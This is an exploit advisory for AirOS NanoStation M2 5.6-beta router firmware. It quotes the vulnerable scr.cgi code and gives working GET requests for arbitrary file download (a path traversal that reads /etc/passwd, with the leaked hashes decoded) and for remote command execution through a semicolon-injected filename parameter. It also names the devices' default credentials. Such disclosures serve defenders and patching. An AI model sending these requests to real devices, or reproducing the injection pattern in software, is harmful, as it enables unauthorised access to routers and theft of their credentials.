AirOS NanoStation M2 5.6-beta File Download / Command Execution

2016.06.02
Risk: High
Local: No
Remote: Yes
CVE: N/A
CWE: CWE-78

# AirOS NanoStation M2 v5.6-beta # Arbitrary File Download & Remote Command Execution # Tested on: XM.v5.6-beta5.24359.141008.1753 - Build: 2435 # Linux Awesome 2.6.32.63 #1 Wed Oct 8 17:54:30 EEST 2014 mips unknown # # Date: May 30, 2016 # Informer: Pablo Rebolini - <rebolini.pablo[x]gmail.com> # Valid credentials are required !. # Most of devices run default factory user/passwd combination (ubnt:ubnt) # Take a look at /usr/www/scr.cgi <? include("lib/settings.inc"); include("lib/system.inc"); $filename = $fname + ".sh"; $file = $fname + $status; header("Content-Type: application/force-download"); header("Content-Disposition: attachment; filename=" + $filename); passthru("cat /tmp/persistent/$file"); exit; # Arbitrary File Download # Poc: GET http://x.x.x.x/scr.cgi?fname=../../../../../etc/passwd%00&status= Raw Response: dWJudDpWdnB2Q3doY2NGdjZROjA6MDpBZG1pbmlzdHJhdG9yOi9ldGMvcGVyc2lzdGVudDovYmluL3NoCm1jdXNlcjohVnZERThDMkVCMTowOjA6Oi9ldGMvcGVyc2lzdGVudC9tY3VzZXI6L2Jpbi9zaAo= Base64 Decoded: ubnt:VvpvCwhccFv6Q:0:0:Administrator:/etc/persistent:/bin/sh mcuser:!VvDE8C2EB1:0:0::/etc/persistent/mcuser:/bin/sh # Remote Command Execution: # Poc: GET http://x.x.x.x/scr.cgi?fname=rc.poststart.sh;cat%20/etc/hosts%00&status= Raw Response: MTI3LjAuMC4xCWxvY2FsaG9zdC5sb2NhbGRvbWFpbglsb2NhbGhvc3QK Base64 Decoded: 127.0.0.1 localhost.localdomain localhost


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